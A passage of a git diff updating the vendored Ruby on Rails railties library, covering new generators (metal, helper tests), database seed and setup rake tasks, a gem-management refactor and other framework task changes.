diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE
new file mode 100644
index 00000000..123ec6c0
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE
@@ -0,0 +1,8 @@
+Description:
+    Cast some metal!
+
+Examples:
+    `./script/generate metal poller`
+
+        This will create:
+            Metal: app/metal/poller.rb
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb
new file mode 100644
index 00000000..64f49d92
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb
@@ -0,0 +1,8 @@
+class MetalGenerator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      m.directory 'app/metal'
+      m.template 'metal.rb', File.join('app/metal', "#{file_name}.rb")
+    end
+  end
+end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb b/vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb
new file mode 100644
index 00000000..e94982b6
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb
@@ -0,0 +1,12 @@
+# Allow the metal piece to run in isolation
+require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
+
+class <%= class_name %>
+  def self.call(env)
+    if env["PATH_INFO"] =~ /^\/<%= file_name %>/
+      [200, {"Content-Type" => "text/html"}, ["Hello, World!"]]
+    else
+      [404, {"Content-Type" => "text/html"}, ["Not Found"]]
+    end
+  end
+end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/model/model_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/model/model_generator.rb
index 582a2892..1895d8a9 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/model/model_generator.rb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/model/model_generator.rb
@@ -19,10 +19,17 @@ class ModelGenerator < Rails::Generator::NamedBase
        	m.template 'fixtures.yml',  File.join('test/fixtures', "#{table_name}.yml")
       end
 
+      migration_file_path = file_path.gsub(/\//, '_')
+      migration_name = class_name
+      if ActiveRecord::Base.pluralize_table_names
+        migration_name = migration_name.pluralize
+        migration_file_path = migration_file_path.pluralize
+      end
+
       unless options[:skip_migration]
         m.migration_template 'migration.rb', 'db/migrate', :assigns => {
-          :migration_name => "Create#{class_name.pluralize.gsub(/::/, '')}"
-        }, :migration_file_name => "create_#{file_path.gsub(/\//, '_').pluralize}"
+          :migration_name => "Create#{migration_name.gsub(/::/, '')}"
+        }, :migration_file_name => "create_#{migration_file_path}"
       end
     end
   end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE
index 83cc9d76..e6043f1d 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE
@@ -11,8 +11,8 @@ Description:
     You don't have to think up every attribute up front, but it helps to
     sketch out a few so you can start working with the resource immediately.
 
-    This creates a model, controller, tests and fixtures for both, and the
-    corresponding map.resources declaration in config/routes.rb
+    This creates a model, controller, helper, tests and fixtures for all of them,
+    and the corresponding map.resources declaration in config/routes.rb
 
     Unlike the scaffold generator, the resource generator does not create
     views or add any methods to the generated controller.
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb
index ea6dd65b..4ee2fbff 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb
@@ -40,6 +40,7 @@ class ResourceGenerator < Rails::Generator::NamedBase
       m.directory(File.join('app/views', controller_class_path, controller_file_name))
       m.directory(File.join('test/functional', controller_class_path))
       m.directory(File.join('test/unit', class_path))
+      m.directory(File.join('test/unit/helpers', class_path))
 
       m.dependency 'model', [name] + @args, :collision => :skip
 
@@ -49,6 +50,7 @@ class ResourceGenerator < Rails::Generator::NamedBase
 
       m.template('functional_test.rb', File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb"))
       m.template('helper.rb',          File.join('app/helpers',     controller_class_path, "#{controller_file_name}_helper.rb"))
+      m.template('helper_test.rb',     File.join('test/unit/helpers',    controller_class_path, "#{controller_file_name}_helper_test.rb"))
 
       m.route_resources controller_file_name
     end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb
new file mode 100644
index 00000000..061f64a5
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class <%= controller_class_name %>HelperTest < ActionView::TestCase
+end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb
index ff0381da..88bc3252 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb
@@ -19,6 +19,7 @@ class ScaffoldGenerator < Rails::Generator::NamedBase
     if @name == @name.pluralize && !options[:force_plural]
       logger.warning "Plural version of the model detected, using singularized version.  Override with --force-plural."
       @name = @name.singularize
+      assign_names!(@name)
     end
 
     @controller_name = @name.pluralize
@@ -47,6 +48,7 @@ class ScaffoldGenerator < Rails::Generator::NamedBase
       m.directory(File.join('app/views/layouts', controller_class_path))
       m.directory(File.join('test/functional', controller_class_path))
       m.directory(File.join('test/unit', class_path))
+      m.directory(File.join('test/unit/helpers', class_path))
       m.directory(File.join('public/stylesheets', class_path))
 
       for action in scaffold_views
@@ -66,6 +68,7 @@ class ScaffoldGenerator < Rails::Generator::NamedBase
 
       m.template('functional_test.rb', File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb"))
       m.template('helper.rb',          File.join('app/helpers',     controller_class_path, "#{controller_file_name}_helper.rb"))
+      m.template('helper_test.rb',     File.join('test/unit/helpers',    controller_class_path, "#{controller_file_name}_helper_test.rb"))
 
       m.route_resources controller_file_name
 
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb
index cbfd88f3..4d190b93 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb
@@ -2,7 +2,7 @@ class <%= controller_class_name %>Controller < ApplicationController
   # GET /<%= table_name %>
   # GET /<%= table_name %>.xml
   def index
-    @<%= table_name %> = <%= class_name %>.find(:all)
+    @<%= table_name %> = <%= class_name %>.all
 
     respond_to do |format|
       format.html # index.html.erb
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
index 2d9d6359..cd2fc578 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
@@ -21,23 +21,23 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase
   end
 
   test "should show <%= file_name %>" do
-    get :show, :id => <%= table_name %>(:one).id
+    get :show, :id => <%= table_name %>(:one).to_param
     assert_response :success
   end
 
   test "should get edit" do
-    get :edit, :id => <%= table_name %>(:one).id
+    get :edit, :id => <%= table_name %>(:one).to_param
     assert_response :success
   end
 
   test "should update <%= file_name %>" do
-    put :update, :id => <%= table_name %>(:one).id, :<%= file_name %> => { }
+    put :update, :id => <%= table_name %>(:one).to_param, :<%= file_name %> => { }
     assert_redirected_to <%= file_name %>_path(assigns(:<%= file_name %>))
   end
 
   test "should destroy <%= file_name %>" do
     assert_difference('<%= class_name %>.count', -1) do
-      delete :destroy, :id => <%= table_name %>(:one).id
+      delete :destroy, :id => <%= table_name %>(:one).to_param
     end
 
     assert_redirected_to <%= table_name %>_path
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb
new file mode 100644
index 00000000..061f64a5
--- /dev/null
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class <%= controller_class_name %>HelperTest < ActionView::TestCase
+end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
index 5c1f3042..ebc97f81 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
@@ -11,7 +11,7 @@
 
 <p style="color: green"><%%= flash[:notice] %></p>
 
-<%%= yield  %>
+<%%= yield %>
 
 </body>
 </html>
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
index e2899755..cca1d61c 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
@@ -10,9 +10,9 @@
   </p>
 <% end -%>
   <p>
-    <%%= f.submit "Update" %>
+    <%%= f.submit 'Update' %>
   </p>
 <%% end %>
 
 <%%= link_to 'Show', @<%= singular_name %> %> |
-<%%= link_to 'Back', <%= plural_name %>_path %>
+<%%= link_to 'Back', <%= plural_name %>_path %>
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
index e89757e3..2e603d5b 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
@@ -7,7 +7,7 @@
 <% end -%>
   </tr>
 
-<%% for <%= singular_name %> in @<%= plural_name %> %>
+<%% @<%= plural_name %>.each do |<%= singular_name %>| %>
   <tr>
 <% for attribute in attributes -%>
     <td><%%=h <%= singular_name %>.<%= attribute.name %> %></td>
@@ -21,4 +21,4 @@
 
 <br />
 
-<%%= link_to 'New <%= singular_name %>', new_<%= singular_name %>_path %>
+<%%= link_to 'New <%= singular_name %>', new_<%= singular_name %>_path %>
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
index c47e8117..96c89fc5 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
@@ -10,8 +10,8 @@
   </p>
 <% end -%>
   <p>
-    <%%= f.submit "Create" %>
+    <%%= f.submit 'Create' %>
   </p>
 <%% end %>
 
-<%%= link_to 'Back', <%= plural_name %>_path %>
+<%%= link_to 'Back', <%= plural_name %>_path %>
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
index 9b6b11b0..adecaf70 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
+++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
@@ -7,4 +7,4 @@
 <% end -%>
 
 <%%= link_to 'Edit', edit_<%= singular_name %>_path(@<%= singular_name %>) %> |
-<%%= link_to 'Back', <%= plural_name %>_path %>
+<%%= link_to 'Back', <%= plural_name %>_path %>
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/options.rb b/vendor/rails/railties/lib/rails_generator/options.rb
index 5f6aefa9..070f96b6 100644
--- a/vendor/rails/railties/lib/rails_generator/options.rb
+++ b/vendor/rails/railties/lib/rails_generator/options.rb
@@ -131,16 +131,16 @@ module Rails
           opt.on('-q', '--quiet', 'Suppress normal output.') { |v| options[:quiet] = v }
           opt.on('-t', '--backtrace', 'Debugging: show backtrace on errors.') { |v| options[:backtrace] = v }
           opt.on('-c', '--svn', 'Modify files with subversion. (Note: svn must be in path)') do
-            options[:svn] = `svn status`.inject({}) do |opt, e|
-              opt[e.chomp[7..-1]] = true
-              opt
+            options[:svn] = {}
+            `svn status`.each_line do |line|
+              options[:svn][line.chomp[7..-1]] = true
             end
           end
           opt.on('-g', '--git', 'Modify files with git. (Note: git must be in path)') do
-            options[:git] = `git status`.inject({:new => {}, :modified => {}}) do |opt, e|
-              opt[:new][e.chomp[14..-1]] = true if e =~ /new file:/
-              opt[:modified][e.chomp[14..-1]] = true if e =~ /modified:/
-              opt
+            options[:git] = {:new => {}, :modified => {}}
+            `git status`.each_line do |line|
+              options[:git][:new][line.chomp[14..-1]] = true if line =~ /new file:/
+              options[:git][:modified][line.chomp[14..-1]] = true if line =~ /modified:/
             end
           end
         end
diff --git a/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb b/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb
index 553811d3..7dd495a2 100644
--- a/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb
+++ b/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb
@@ -1,3 +1,5 @@
+require 'active_support/deprecation'
+
 module Rails
   # A class for creating random secret keys. This class will do its best to create a
   # random secret key that's as secure as possible, using whatever methods are
diff --git a/vendor/rails/railties/lib/tasks/databases.rake b/vendor/rails/railties/lib/tasks/databases.rake
index 5cb27f1f..8b608396 100644
--- a/vendor/rails/railties/lib/tasks/databases.rake
+++ b/vendor/rails/railties/lib/tasks/databases.rake
@@ -1,7 +1,12 @@
 namespace :db do
+  task :load_config => :rails_env do
+    require 'active_record'
+    ActiveRecord::Base.configurations = Rails::Configuration.new.database_configuration
+  end
+
   namespace :create do
     desc 'Create all the local databases defined in config/database.yml'
-    task :all => :environment do
+    task :all => :load_config do
       ActiveRecord::Base.configurations.each_value do |config|
         # Skip entries that don't have a database key, such as the first entry here:
         #
@@ -22,7 +27,7 @@ namespace :db do
   end
 
   desc 'Create the database defined in config/database.yml for the current RAILS_ENV'
-  task :create => :environment do
+  task :create => :load_config do
     create_database(ActiveRecord::Base.configurations[RAILS_ENV])
   end
 
@@ -50,7 +55,7 @@ namespace :db do
       case config['adapter']
       when 'mysql'
         @charset   = ENV['CHARSET']   || 'utf8'
-        @collation = ENV['COLLATION'] || 'utf8_general_ci'
+        @collation = ENV['COLLATION'] || 'utf8_unicode_ci'
         begin
           ActiveRecord::Base.establish_connection(config.merge('database' => nil))
           ActiveRecord::Base.connection.create_database(config['database'], :charset => (config['charset'] || @charset), :collation => (config['collation'] || @collation))
@@ -76,7 +81,7 @@ namespace :db do
 
   namespace :drop do
     desc 'Drops all the local databases defined in config/database.yml'
-    task :all => :environment do
+    task :all => :load_config do
       ActiveRecord::Base.configurations.each_value do |config|
         # Skip entries that don't have a database key
         next unless config['database']
@@ -87,7 +92,7 @@ namespace :db do
   end
 
   desc 'Drops the database for the current RAILS_ENV'
-  task :drop => :environment do
+  task :drop => :load_config do
     config = ActiveRecord::Base.configurations[RAILS_ENV || 'development']
     begin
       drop_database(config)
@@ -105,7 +110,7 @@ namespace :db do
   end
 
 
-  desc "Migrate the database through scripts in db/migrate. Target specific version with VERSION=x. Turn off output with VERBOSE=false."
+  desc "Migrate the database through scripts in db/migrate and update db/schema.rb by invoking db:schema:dump. Target specific version with VERSION=x. Turn off output with VERBOSE=false."
   task :migrate => :environment do
     ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
     ActiveRecord::Migrator.migrate("db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
@@ -151,8 +156,8 @@ namespace :db do
     Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
   end
 
-  desc 'Drops and recreates the database from db/schema.rb for the current environment.'
-  task :reset => ['db:drop', 'db:create', 'db:schema:load']
+  desc 'Drops and recreates the database from db/schema.rb for the current environment and loads the seeds.'
+  task :reset => [ 'db:drop', 'db:setup' ]
 
   desc "Retrieves the charset for the current environment's database"
   task :charset => :environment do
@@ -201,6 +206,15 @@ namespace :db do
     end
   end
 
+  desc 'Create the database, load the schema, and initialize with the seed data'
+  task :setup => [ 'db:create', 'db:schema:load', 'db:seed' ]
+
+  desc 'Load the seed data from db/seeds.rb'
+  task :seed => :environment do
+    seed_file = File.join(Rails.root, 'db', 'seeds.rb')
+    load(seed_file) if File.exist?(seed_file)
+  end
+
   namespace :fixtures do
     desc "Load fixtures into the current environment's database.  Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
     task :load => :environment do
@@ -245,12 +259,17 @@ namespace :db do
       File.open(ENV['SCHEMA'] || "#{RAILS_ROOT}/db/schema.rb", "w") do |file|
         ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
       end
+      Rake::Task["db:schema:dump"].reenable
     end
 
     desc "Load a schema.rb file into the database"
     task :load => :environment do
       file = ENV['SCHEMA'] || "#{RAILS_ROOT}/db/schema.rb"
-      load(file)
+      if File.exists?(file)
+        load(file)
+      else
+        abort %{#{file} doesn't exist yet. Run "rake db:migrate" to create it then try again. If you do not intend to use a database, you should instead alter #{RAILS_ROOT}/config/environment.rb to prevent active_record from loading: config.frameworks -= [ :active_record ]}
+      end
     end
   end
 
@@ -375,7 +394,7 @@ namespace :db do
   end
 
   namespace :sessions do
-    desc "Creates a sessions migration for use with CGI::Session::ActiveRecordStore"
+    desc "Creates a sessions migration for use with ActiveRecord::SessionStore"
     task :create => :environment do
       raise "Task unavailable to this database (no migration support)" unless ActiveRecord::Base.connection.supports_migrations?
       require 'rails_generator'
@@ -393,6 +412,7 @@ end
 def drop_database(config)
   case config['adapter']
   when 'mysql'
+    ActiveRecord::Base.establish_connection(config)
     ActiveRecord::Base.connection.drop_database config['database']
   when /^sqlite/
     FileUtils.rm(File.join(RAILS_ROOT, config['database']))
diff --git a/vendor/rails/railties/lib/tasks/documentation.rake b/vendor/rails/railties/lib/tasks/documentation.rake
index 6caf69cc..8b41478a 100644
--- a/vendor/rails/railties/lib/tasks/documentation.rake
+++ b/vendor/rails/railties/lib/tasks/documentation.rake
@@ -54,15 +54,8 @@ namespace :doc do
 
   desc "Generate Rails guides"
   task :guides do
-    source = File.join(RAILTIES_PATH, "doc/guides")
-    destination = File.join(RAILS_ROOT, "doc/guides")
-    FileUtils.rm_r(destination) if File.directory?(destination)
-    FileUtils.mkdir(destination)
-
-    FileUtils.cp_r File.join(source, 'html/.'), File.join(destination)
-    # Copy images and css files to html directory. These dirs are in .gitigore and shouldn't be source controlled.
-    FileUtils.cp_r File.join(source, 'source/images'), File.join(destination)
-    FileUtils.cp_r File.join(source, 'source/stylesheets'), File.join(destination, 'stylesheets')
+    require File.join(RAILTIES_PATH, "guides/rails_guides")
+    RailsGuides::Generator.new(File.join(RAILS_ROOT, "doc/guides")).generate
   end
 
   namespace :plugins do
diff --git a/vendor/rails/railties/lib/tasks/framework.rake b/vendor/rails/railties/lib/tasks/framework.rake
index 5d1f8cf9..191c9361 100644
--- a/vendor/rails/railties/lib/tasks/framework.rake
+++ b/vendor/rails/railties/lib/tasks/framework.rake
@@ -78,7 +78,13 @@ namespace :rails do
   end
 
   desc "Update both configs, scripts and public/javascripts from Rails"
-  task :update => [ "update:scripts", "update:javascripts", "update:configs" ]
+  task :update => [ "update:scripts", "update:javascripts", "update:configs", "update:application_controller" ]
+
+  desc "Applies the template supplied by LOCATION=/path/to/template"
+  task :template do
+    require 'rails_generator/generators/applications/app/template_runner'
+    Rails::TemplateRunner.new(ENV["LOCATION"])
+  end
 
   namespace :update do
     desc "Add new scripts to the application script/ directory"
@@ -114,5 +120,24 @@ namespace :rails do
       require 'railties_path'  
       FileUtils.cp(RAILTIES_PATH + '/environments/boot.rb', RAILS_ROOT + '/config/boot.rb')
     end
+    
+    desc "Rename application.rb to application_controller.rb"
+    task :application_controller do
+      old_style = RAILS_ROOT + '/app/controllers/application.rb'
+      new_style = RAILS_ROOT + '/app/controllers/application_controller.rb'
+      if File.exists?(old_style) && !File.exists?(new_style)
+        FileUtils.mv(old_style, new_style)
+        puts "#{old_style} has been renamed to #{new_style}, update your SCM as necessary"
+      end
+    end
+    
+    desc "Generate dispatcher files in RAILS_ROOT/public"
+    task :generate_dispatchers do
+      require 'railties_path'
+      FileUtils.cp(RAILTIES_PATH + '/dispatches/config.ru', RAILS_ROOT + '/config.ru')
+      FileUtils.cp(RAILTIES_PATH + '/dispatches/dispatch.fcgi', RAILS_ROOT + '/public/dispatch.fcgi')
+      FileUtils.cp(RAILTIES_PATH + '/dispatches/dispatch.rb', RAILS_ROOT + '/public/dispatch.rb')
+      FileUtils.cp(RAILTIES_PATH + '/dispatches/dispatch.rb', RAILS_ROOT + '/public/dispatch.cgi')
+    end
   end
 end
diff --git a/vendor/rails/railties/lib/tasks/gems.rake b/vendor/rails/railties/lib/tasks/gems.rake
index 754e3ba5..f1c34c7c 100644
--- a/vendor/rails/railties/lib/tasks/gems.rake
+++ b/vendor/rails/railties/lib/tasks/gems.rake
@@ -9,72 +9,70 @@ task :gems => 'gems:base' do
   puts "R = Framework (loaded before rails starts)"
 end
 
-def print_gem_status(gem, indent=1)
-  code = gem.loaded? ? (gem.frozen? ? (gem.framework_gem? ? "R" : "F") : "I") : " "
-  puts "   "*(indent-1)+" - [#{code}] #{gem.name} #{gem.requirement.to_s}"
-  gem.dependencies.each { |g| print_gem_status(g, indent+1)} if gem.loaded?
-end
-
 namespace :gems do
   task :base do
-    $rails_gem_installer = true
+    $gems_rake_task = true
+    require 'rubygems'
+    require 'rubygems/gem_runner'
     Rake::Task[:environment].invoke
   end
 
   desc "Build any native extensions for unpacked gems"
   task :build do
-    $rails_gem_installer = true
-    require 'rails/gem_builder'
-    Dir[File.join(Rails::GemDependency.unpacked_path, '*')].each do |gem_dir|
-      spec_file = File.join(gem_dir, '.specification')
-      next unless File.exists?(spec_file)
-      specification = YAML::load_file(spec_file)
-      next unless ENV['GEM'].blank? || ENV['GEM'] == specification.name
-      Rails::GemBuilder.new(specification, gem_dir).build_extensions
-      puts "Built gem: '#{gem_dir}'"
+    $gems_build_rake_task = true
+    frozen_gems.each { |gem| gem.build }
+  end
+
+  namespace :build do
+    desc "Force the build of all gems"
+    task :force do
+      $gems_build_rake_task = true
+      frozen_gems.each { |gem| gem.build(:force => true) }
     end
   end
 
-  desc "Installs all required gems for this application."
+  desc "Installs all required gems."
   task :install => :base do
-    require 'rubygems'
-    require 'rubygems/gem_runner'
-    Rails.configuration.gems.each { |gem| gem.install unless gem.loaded? }
+    current_gems.each { |gem| gem.install }
   end
 
-  desc "Unpacks the specified gem into vendor/gems."
-  task :unpack => :base do
-    require 'rubygems'
-    require 'rubygems/gem_runner'
-    Rails.configuration.gems.each do |gem|
-      next unless !gem.frozen? && (ENV['GEM'].blank? || ENV['GEM'] == gem.name)
-      gem.unpack_to(Rails::GemDependency.unpacked_path) if gem.loaded?
-    end
+  desc "Unpacks all required gems into vendor/gems."
+  task :unpack => :install do
+    current_gems.each { |gem| gem.unpack }
   end
 
   namespace :unpack do
-    desc "Unpacks the specified gems and its dependencies into vendor/gems"
-    task :dependencies => :unpack do
-      require 'rubygems'
-      require 'rubygems/gem_runner'
-      Rails.configuration.gems.each do |gem|
-        next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name
-        gem.dependencies.each do |dependency|
-          next if dependency.frozen?
-          dependency.unpack_to(Rails::GemDependency.unpacked_path)
-        end
-      end
+    desc "Unpacks all required gems and their dependencies into vendor/gems."
+    task :dependencies => :install do
+      current_gems.each { |gem| gem.unpack(:recursive => true) }
     end
   end
 
   desc "Regenerate gem specifications in correct format."
-  task :refresh_specs => :base do
-    require 'rubygems'
-    require 'rubygems/gem_runner'
-    Rails::VendorGemSourceIndex.silence_spec_warnings = true
-    Rails.configuration.gems.each do |gem|
-      next unless gem.frozen? && (ENV['GEM'].blank? || ENV['GEM'] == gem.name)
-      gem.refresh_spec(Rails::GemDependency.unpacked_path) if gem.loaded?
-    end
+  task :refresh_specs do
+    frozen_gems(false).each { |gem| gem.refresh }
   end
-end
\ No newline at end of file
+end
+
+def current_gems
+  gems = Rails.configuration.gems
+  gems = gems.select { |gem| gem.name == ENV['GEM'] } unless ENV['GEM'].blank?
+  gems
+end
+
+def frozen_gems(load_specs=true)
+  Dir[File.join(RAILS_ROOT, 'vendor', 'gems', '*-*')].map do |gem_dir|
+    Rails::GemDependency.from_directory_name(gem_dir, load_specs)
+  end
+end
+
+def print_gem_status(gem, indent=1)
+  code = case
+    when gem.framework_gem? then 'R'
+    when gem.frozen?        then 'F'
+    when gem.installed?     then 'I'
+    else                         ' '
+  end
+  puts "   "*(indent-1)+" - [#{code}] #{gem.name} #{gem.requirement.to_s}"
+  gem.dependencies.each { |g| print_gem_status(g, indent+1) }
+end
diff --git a/vendor/rails/railties/lib/tasks/middleware.rake b/vendor/rails/railties/lib/tasks/middleware.rake
new file mode 100644
index 00000000..05f15918
--- /dev/null
+++ b/vendor/rails/railties/lib/tasks/middleware.rake
@@ -0,0 +1,7 @@
+desc 'Prints out your Rack middleware stack'
+task :middleware => :environment do
+  ActionController::Dispatcher.middleware.active.each do |middleware|
+    puts "use #{middleware.inspect}"
+  end
+  puts "run ActionController::Dispatcher.new"
+end
diff --git a/vendor/rails/railties/lib/tasks/misc.rake b/vendor/rails/railties/lib/tasks/misc.rake
index 5c997252..9e6f96db 100644
--- a/vendor/rails/railties/lib/tasks/misc.rake
+++ b/vendor/rails/railties/lib/tasks/misc.rake
@@ -1,8 +1,15 @@
 task :default => :test
 task :environment do
+  $rails_rake_task = true
   require(File.join(RAILS_ROOT, 'config', 'environment'))
 end
 
+task :rails_env do
+  unless defined? RAILS_ENV
+    RAILS_ENV = ENV['RAILS_ENV'] ||= 'development'
+  end
+end
+
 desc 'Generate a crytographically secure secret key. This is typically used to generate a secret for cookie sessions.'
 task :secret do
   puts ActiveSupport::SecureRandom.hex(64)
diff --git a/vendor/rails/railties/lib/tasks/rails.rb b/vendor/rails/railties/lib/tasks/rails.rb
index 8c2b7f9b..0600a05a 100644
--- a/vendor/rails/railties/lib/tasks/rails.rb
+++ b/vendor/rails/railties/lib/tasks/rails.rb
@@ -4,5 +4,6 @@ $VERBOSE = nil
 Dir["#{File.dirname(__FILE__)}/*.rake"].each { |ext| load ext }
 
 # Load any custom rakefile extensions
-Dir["#{RAILS_ROOT}/vendor/plugins/*/**/tasks/**/*.rake"].sort.each { |ext| load ext }
+Dir["#{RAILS_ROOT}/vendor/plugins/*/tasks/**/*.rake"].sort.each { |ext| load ext }
+Dir["#{RAILS_ROOT}/vendor/plugins/*/lib/tasks/**/*.rake"].sort.each { |ext| load ext }
 Dir["#{RAILS_ROOT}/lib/tasks/**/*.rake"].sort.each { |ext| load ext }
diff --git a/vendor/rails/railties/lib/tasks/routes.rake b/vendor/rails/railties/lib/tasks/routes.rake
index 39b71391..abbf3258 100644
--- a/vendor/rails/railties/lib/tasks/routes.rake
+++ b/vendor/rails/railties/lib/tasks/routes.rake
@@ -1,6 +1,7 @@
-desc 'Print out all defined routes in match order, with names.'
+desc 'Print out all defined routes in match order, with names. Target specific controller with CONTROLLER=x.'
 task :routes => :environment do
-  routes = ActionController::Routing::Routes.routes.collect do |route|
+  all_routes = ENV['CONTROLLER'] ? ActionController::Routing::Routes.routes.select { |route| route.defaults[:controller] == ENV['CONTROLLER'] } : ActionController::Routing::Routes.routes
+  routes = all_routes.collect do |route|
     name = ActionController::Routing::Routes.named_routes.routes.index(route).to_s
     verb = route.conditions[:method].to_s.upcase
     segs = route.segments.inject("") { |str,s| str << s.to_s }
@@ -14,4 +15,4 @@ task :routes => :environment do
   routes.each do |r|
     puts "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:segs].ljust(segs_width)} #{r[:reqs]}"
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/railties/lib/tasks/statistics.rake b/vendor/rails/railties/lib/tasks/statistics.rake
index dbd07731..5ab27a0f 100644
--- a/vendor/rails/railties/lib/tasks/statistics.rake
+++ b/vendor/rails/railties/lib/tasks/statistics.rake
@@ -4,7 +4,6 @@ STATS_DIRECTORIES = [
   %w(Models             app/models),
   %w(Libraries          lib/),
   %w(APIs               app/apis),
-  %w(Components         components),
   %w(Integration\ tests test/integration),
   %w(Functional\ tests  test/functional),
   %w(Unit\ tests        test/unit)
diff --git a/vendor/rails/railties/lib/tasks/testing.rake b/vendor/rails/railties/lib/tasks/testing.rake
index 328bde74..fd5e52a0 100644
--- a/vendor/rails/railties/lib/tasks/testing.rake
+++ b/vendor/rails/railties/lib/tasks/testing.rake
@@ -7,7 +7,7 @@ def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)
       tests = []
       source_dir = File.dirname(path).split("/")
